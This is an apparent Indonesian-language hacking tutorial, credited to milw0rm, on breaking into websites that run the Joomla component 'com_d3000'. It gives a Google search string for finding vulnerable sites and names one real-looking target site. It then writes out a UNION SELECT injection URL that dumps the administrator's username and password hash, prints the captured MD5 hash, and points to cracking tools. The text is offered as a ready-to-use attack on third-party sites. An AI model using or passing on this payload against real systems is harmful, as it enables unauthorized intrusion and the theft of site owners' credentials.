SQL Injection "com_d3000"

Begitu banyak versi untuk SQL injection vulnerability, kali ini gw ambil salah satu SQL injection dari milw0rm. Seperti umum nya SQL inject yaiut membuka nama admin dan password nya yang masih ter-encrypt hash MD5.

Buka google, lalu ketik dork berikut allinurl: "com_d3000"
Setekah itu bakal keluar banyak beberapa web yang siap untuk di inject :))

Contoh :
http://blackorwhite.nl/index.php?option=com_d3000&task=showtop20

Lalu inject dengan exploit berikut :

index.php?option=com_d3000&task=
showarticles&id=-99999/**/union/**/select/**/
0,username,pass_word/**/from/**/admin/*

Dan hasil nya seperti berikut :

http://blackorwhite.nl/index.php?option=
com_d3000&task=showarticles&id=-99999/**/union
/**/select/**/0,username,pass_word/**/from/**/admin/*

Tertera pada halaman nya nama user dan password, tapi masih te-encrypt.
admin : 4cb9c8a8048fd02294477fcb1a41191a

Untuk men-decrypt nya banyak tools" online maupun software yg biasa untuk crack hash MD5.

dork & exploit from : milw0rm